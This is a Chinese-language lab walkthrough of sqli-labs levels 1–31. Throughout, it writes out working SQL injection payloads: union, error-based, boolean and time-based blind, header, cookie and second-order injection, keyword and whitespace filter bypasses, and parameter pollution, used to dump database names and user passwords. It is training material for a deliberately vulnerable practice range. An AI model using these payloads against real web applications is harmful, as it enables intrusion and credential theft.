less1~less4

less1

我们先在url上输入?id=1进行尝试发现屏幕回显如下

证明存在注入点
接下来我们判断为什么类型的注入,输入

1
?id=2-1;

发现屏幕回显如下

与?id=1不同
所以为字符型注入,因为是字符型注入所以我们需要找到闭合方式输入
?id=1'--+成功回显所以他的闭合方式为'

接下来我们查询该表的列数

1
?id=1' order by 列数--+

我们发现当我们order by 4时报错而order by 3时没报错所以判断该表列数为3
接下来我们查看回显位置
1
?id=-1' union select 1,2,3--+

回显如下

证明回显位置是2和3
接下来我们可以查询数据库名称代码如下
1
?id=-1' union select 1,database(),3

查询出库名为’security’
在查询这个库中的表名
代码如下
1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

屏幕在原本3的位置下回显出表名如下

查询表名可以猜测重要数据应在users里
现在我们查询users的列名代码如下
1
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

回显
最后查询username和password就好了代码如下
1
?id=-1' union select 1,2,group_concat(username,password) from users--+

回显出账号密码

less2

先输入以下代码

1
2
?id=1
?id=2-1

发现为数字型注入

批判列数

1
?id=1 order 列数

发现为3列

查看回显位

1
?id=-1 union select 1,2,3

回显位为2,3

查看库名和版本

1
?id=-1 uniom select 1,database(),version()

库名为security

查询表名

1
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

发现user表的列名

查询users表的列名

1
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

列名中有username和password

查询username和password

1
?id=-1 union select 1,2,group_concat(username,password) from users

less3,less4

我将less3和less4放在的原因是我认为sqli_labs的第1,3,4关其实都差不多只是闭合的方式不同

less3

我们先输入?id=1’屏幕回显

这个报错说明了除我们传入的id=1'后右边为')那么我们不妨猜测id的闭合方式为('$id')
随后输入?id=1')--+无报错也可以在后续输入其他语句并回显。剩下的步骤重复less1

less4

我们一样输入?id=1’
无报错成功回显我们在尝试输入id=1”报错回显如下

我们发现在我们输入的1"的右侧还有")那么这题的闭合方式应为")
接着就与less1无异了

注意我们可以查询information_schema库schemata表下的schema_name列来查询所以数据库的名称

less5~less6

less5

我们打开sqli-labs的less5先常规输入?id=1发现回显与我们之前的题目有所不同

我们在输入?id=1' 报错

我们发现有报错那么我们可以利用报错注入,报错注入其实也可以利用在前四题,但是因为前四题有正常的回显位所以采用联合注入是更好的,但是这题并没有正常的回显位所以我们可以采用报错注入
我们查看上面的报错发现这题的闭合方式应为'
随后查询列数

1
?id=1' order by 3--+

查询到列数为3
随后我们进行报错注入我们要用到extractvalue()注入
extarctvalue()是一个输入两值的函数第一个函数为文件名第二个为文件在文件夹的地址文件的地址是以/开头的我们可以将/换成~使函数报错在将~后的替换为查询语句,这样就会报错出我们查询的内容下面是注入代码
1
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select database())))--+

查询到报错为

报错出数据库名为security
之后在查询所有的库名
1
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))--+


我们可以看到报错的字符数没有输出所有的数据库,原因是因为报错注入最多输出30个字符,这时我们就需要用到一个控制输出字符的函数substring()
substring()有三个参数第一个参数为字符串,第二个表示从第几位输出,第三个代表输出个数
大致如下
1
substring((string),1,30) //string代表字符串,该代码表示从第1位输出30个字符的字符串

加入后注入语句如下
1
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,30)))

不断调整输出的范围可以得到所有的数据库名
之后就标准的爆表名爆列名查看数据了
爆表名
1
id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,30)))--+

爆列名
1
id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_name='users'),1,30)))--+

查询数据
1
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(password,username) from security.users),31,30)))--+

而less6也大同小异只要将?id=1’的单引号改为双引号

less7

less8 sql布尔盲注

1
2
3
4
5
length(str):返回字符串的长度
substr(str,pos,len)
ascii(str):返回字符串最左边的字符的ascii码值
ord(str):同上
if(a,b,c):如果a为真执行b假执行c

我们输入id=1页面回显you are in 输入id=1’不回显输入id=1’—+页面回显证明该题为字符型’闭合
我们输入以下代码

1
?id=1' and length((select database()))>=1--+

length函数回返回字符串的长度我们可以通过二分法比较来找出查询到的字符串长度
在利用ascii()和substr()来进行构造注入如下的语句
(由于查询语句由多个字符串构成所有我们需要将查询语句()起来)

1
?id=1' and ascii(substr((select database()),1,1))>100--+

还是通过二分发进行比较其ascii码值来对其字符进行确认
之后也一样我们只要对其的查询语句进行修改就可以了
可以将select database()进行更改如下

1
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.schemata),1,1))>=5

less9 时间盲注
我们输入?id=1返回you are in再输入?id=1’返回相同值再输入id=1”一样那么这题我们就需要用到时间盲注
我们先了解一下sleep()函数该函数执行后那么网页就会延迟数秒响应如sleep(3)那么就会延迟3秒那么我们就可以用以下代码进行查看为什么闭合方式

1
?id=1' and sleep(3)--+

发现网页延迟3秒才响应那么该题应该就为单引号闭合
我们再利用if对注入语句进行编辑
1
?id=1' and if(ascii(substr((select database()),1,1))>10,sleep(0),sleep(3))--+

同理我们只要对if里的查询语句进行替换就可

less10 时间盲注

同样的这题为时间盲注
尝试出闭合方式

1
?id=1" and sleep(3)

利用下面的语句尝试出数据库名称
1
?id=1" and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3))

之后就是替换查询语句进行爆库名,表名列名,查数据

less11 post注入的union注入

这题目我们可以发现有点不同,它是在登陆界面进行注入的,也就是他的sql语句由post表达提交
我们完全可以猜测其sql语句应为
username=传递参数 and password=传递参数
其他的其实与在url上的注入差异不大注入只是将注释符—+改为#语句如下

1
2
3
4
5
1' union select 1,database()#
1' union select 1,group_concat(schema_name) from information_schema.schemata#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='emails'#
1' union select 1,group_concat(email_id) from security.emails#

less12 post的union注入

与第11关基本一样只是闭合方式为1”)

less13

我们输入1’) union select 1,2#屏幕没有回显我们可以尝试使用报错注入

1
1') and extractvalue(1,concat(0x7e,substr((select database()),1,28)))#

我们可以对查询语句进行替换

less 14 post的union注入

与13题相似只是由’)改为”

less 15 post的时间盲注

该题目我们发现不管怎么输入都不回显我们可以考虑使用时间盲注

less 16 post的时间盲注

与15相似

less 17 post的时间盲注

相同

less 18 ua头注入

我们可以从less18的源代码入手

1
$uagent = $_SERVER['HTTP_USER_AGENT'];


该图中显示会将uagent的内容插入到数据库中,而uagent的内容为标头 user_agent的内容那么我们可以采用bp来抓包修改ua头的内容(发送到重放器以便修改ua头)
对ua头进行修改采用报错注入代码如下
1
' or updatexml(1,concat('~',(select database())),3),2,3)#

插入语句
1
VALUES('$uagent','$ip','$uname')

结合插入语句我们进行语句的分析,'是为了闭合’$uagent’的’,or或是一个报错注入,插入的sql注入一般都使用报错注入结尾的2,3是输入的ip以及uname)结尾的括号是为了闭合括号#是为了注释掉后面的','$ip','$uname')

less19 referer注入

该题目我们在登陆口输入admin,admin这时候屏幕回显出referer的内容我们可以猜测是referer注入
我们打开网页代码查看一下

我们可以发现只要账号密码输入正确那么就会对数据库security的referer表中的referer和ip_address数据列里插入$uagent$ip这两个数据,

1
$uagent = $_SERVER['HTTP_REFERER'];

而根据这个代码发现$uagent里存的是referer的内容那么我们就可以尝试抓包修改referer头的内容进行报错注入代码如下
1
' or updatexml(1,concat('~',(select database())),3),2)#

这时候我们就可以爆出其数据库名称,之后我们可以对报错注入的查询语句进行修改就可以查询其他语句

less20 cookie注入

该题目我们输入admin和admin屏幕回显,cookie的值,我们查看源代码


这两个图片的代码表示会回显cookie的值和会查询在查询语句中查询cookie这时我们只要对cookie进行修改将其修改为查询语句那么就会回显出cookie的值就会为查询语句的结果
由于该语句是直接查询cookie所以我们可以利用union注入代码如下

1
uname=1' union select 1,2,database()#

剩下的同样对查询语句替换即可

less21 cookie注入base64编码

21关同样是cookie注入
我们进行抓包可以看到其cookie值是一串代码我们在bp中可以看出其为base64编码那么我们只要将注入语句通过base64编码后再输入即可

less22 cookie注入base64编码

与21相似就是闭合方式不同

less23

方法1:注释符'绕过

这一关我们发现与第一个非常相似我们直接输入?id=1屏幕回显我们再注入?id=1'报错我们发现是'闭合我们再输入?id=1'--+仍然报错我们输入?id=1'#也相同
那么我们可以发现其注释符被过滤了我们可以采用'绕过代码如下

1
?id=1' order by 3'

注入语句结尾的’与原本的’闭合使sql语句正常这就绕过了注释符过滤
我们还可以使用
1
?id=1' union select 1,2,3,4 or '1'='1

该绕过方式利用了or '1'='1来闭合'
注意该绕过语句导致order by不可以使用只能利用union select 1,2,3,4通过删减数子来寻找列数
绕过了注释符时就可以利用联合注入了

方法2:注释符利用%00来绕过

%00是一个空字符,在16进制中表示为0x00,即ascii码值为0,很多函数在读取到0x00时就会停止在系统中读取文件名时如果遇到就会停止,我们可以运用这个性质来绕过一些文件上传,
%00也可以在sql语句尾部作为截断因为在服务器中%00被解析为0x00这导致了后面的语句被截断,注意因为是截断所有我们需要在句尾写下分号

less 24

这道题目是一个标准的登陆界面,我们可以在直接看后端源代码来进行分析

这是登陆界面的代码,我们可以看见一个叫mysql_real_escape_string()这个函数是将字符串里的特殊字符都给转意,我们可以存入一个admin’#,他的’和#转意思为\’#使其成为正常的字符
这个是注册页面的源代码,这个代码同样会将字符串转意如何在存入数据库,但是在存入数据库时不会将转意字符\存入,导致存入的admin’#

我们在查看修改密码的源代码

这个语句直接从数据库中获取用户名而这个获取的过程是不存在转义所以他的修改sql语句就会变为

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'

这时我们修改的就不是admin’#的密码了而是admin的密码而再我们修改好后利用该账号密码进行登入就会成登入成功

less25

这关我们经过尝试可以发现绕过了or和and我们查看源码


发现是preg_replace()这个函数会匹配字符后将字符进行替换,我们可以看到这个函数匹配or和and将其替换为空所以这道题目过滤了or和and
一般绕过or和and过滤方法有以下几种
1,可以使用复写发就是将or写成oorr这样当or被替换为空时就会产生一个新的or,and也同理
2,特殊字符绕过我们可以尝试用特殊字符||和&&来代替or和and
3,过滤符绕过我们可以尝试构造这样的如o/**/r或/or/尝试绕过
4,编码,hex,urlencode
5,大小写变形绕过如Or,oR,OR
这关我们可以使用双写绕过和特殊字符绕过,
注意在输入information_schema时我们要输入infoorrmation_schema,因为information里有个or

less25a

这关我们输入?id=1和id=2-1回显相同为数字型,但是在为什么输入其他语句时发现屏幕只有真假值的区别所以这关我们采取布尔盲注,

1
?id=1 anandd ascii(substr((select database()),1,1))>114

也可以使用oorr来进行盲注
1
?id=-1 oorr ascii(substr((select database()),1,1))=115

less26

这关我们可以看到绕过了很多,其中比较重要的有and,or,空格和注释符
空格我们可以采用的绕过方式有以下几种
1,url编码:%20,%0a,%a0,%0b,%0c,%0d
2,+,加号在进行urldecode时会被解析为空格
3,注释符绕过:/*/或/ */在一些情况下注释符会被sql解析器解析为空格
4,括号绕过,将需要用空格隔开的两个指令,使用括号隔开可以进行绕过如select(database())

姿势一:括号绕过空格的报错注入

1
?id=1'||extractvalue(1,concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables )where(table_schema)=database() )));%00

姿势二:%A0绕过空格进行union注入

理论上是可以使用这个方法进行绕过的但是很可惜的是因为我们使用的是windows环境在我们输入%A0时会导致解析错误解析成�由于环境的原因无法在windows搭建的靶场下使用该方法进行绕过,但是可以在linux下进行,所以我们可以不用本地靶场用网络上的sqlilabs靶场这样就可以成功进行了这里我使用的是nssctf的靶场

当然我们也可以使用盲注

less26a

这关我们在查看源码后可以发现过滤的字符与26关一模一样但是这关只回显正确和错误的界面所以我们可以使用布尔盲注,以下是这关可以使用的两种绕过方法

绕过姿势一:使用()绕过空格

由于我们无法使用空格所以我们可以使用特殊字符绕过and和or以此来规避空格,经过我的尝试只能使用or的特殊字符||所以我们需要使传入的id为空以此来保证前项为错误
代码如下

1
?id=')||ascii(substr((select(database()) ) ),1,1)>100;%00

绕过姿势二:使用%A0绕过空格

我们可以尝试使用%A0来绕过空格然后采取布尔盲注

1
?id=')||ascii(substr((select%A0database())),1,1)>100;%00

less27

这关我们直接查看源码

仍然使因为preg_replace将字符进行了替换,/s表示匹配任意字符包括换行符,/m表示可以多行匹配我们可以看到过滤了很多空格,注释,union和select,还有加号,等

select和union的一般绕过方法

1:大小写绕过,可以将里的一些字符从小写改为大写,这样子可以绕过一些比较简单的题目
2:双写绕过可以双写select如sleselectct这样子就会导致select被删除后还可以再次出现一个新的select
3:注释符绕过,如sel/**/ect一些没有过滤注释符的题目会将注释符当成空值,之后就会变成select
这道题目的绕过方法很多
在经过尝试之后发现空格可以采用%0A,%0B,%0C,%0D进行绕过

姿势一:使用大小写绕过union

1
?id=1'%0AunIon%0AseLEct%0A1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database();%00

姿势二:使用双写来绕过union

1
?id=1'%0Auniunionon%0Aseleselectct%0A1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database();%00

在这里我介绍两个姿势其他姿势我就不过多赘述了

less 27a

这关与27几乎相同只是回显只有正确和错误两值所以我们可以采用布尔盲注,代码如下

1
?id=1'%0aand%0aascii(substr((select%0adatabase()),1,1))>100;%00

less 28

在打这关的时候我浅浅的尝试了一下发现其过滤的字符好像很少,所以我们来看一下源码

我们查看这个,发现就过滤了注释符,空格,加号,还有union select
我们看这个语句$id= preg_replace('/union\s+select/i',"", $id);这个语句中是遇到union select才会删除单独遇见union或select不会删除,其中\s+是匹配一个空格或多个空格。然而这个无法使用联合注入只能使用盲注所以这题过滤语句可以忽略

1
?id=1'%0aand%0aascii(substr((select%0adatabase()),1,1))>100;%00

less29

这关我在做的时候直接使用union注入就可以成功没有任何过滤我感到很奇怪所以外查了网络上的wp我发现这道题目主要是让我们了解双层服务器的概念,但是可能是因为环境等原因导致我们无法成功跳转服务器。可能是因为环境的原因我无法达成网上的效果但是可以直接手动运行,login.php文件在进行注入,
我们写下?id=1’可以发现直接进行了跳转,跳转到了hacked.php,我们直接查看源码

首先$_server[‘QUERY_STRING’]是获取字符的语句,将获取的字符串传java_implimentation()里。

explode(“&”,$q_s)的功能是分格字符,以&为分界线分割字符,
foreach的作用是遍历数组,foreach($qs_array as $key=>$value)的意思是遍历数组并将每一个字符赋值到value里,将val赋值为value的前三位,如为id就将value的第四位到30返回并传到whitelist里

这个方法是一个正则过滤,意思是只能匹配数字,如果不是数字就会跳转到hacked.php可以看到这是一个很强的waf。

这时候我们就需要知道双服务器的概念了。双服务器就是一个服务器有两个服务端盖,服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。
工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。
通过工作流程我们可以知道,tomcat只会解析第一个传输的参数,而apache服务器会解析最后一个参数,那么我们就可以在第一个参数输入符合tomcat的参数,再在第二个参数写入注入语句来绕过tomcat服务器

注入语句
1
?id=1&id=1' union select 1,2,database()--+

less30和31

和29类似只是闭合方式不同
30闭合方式位”,32是”)
2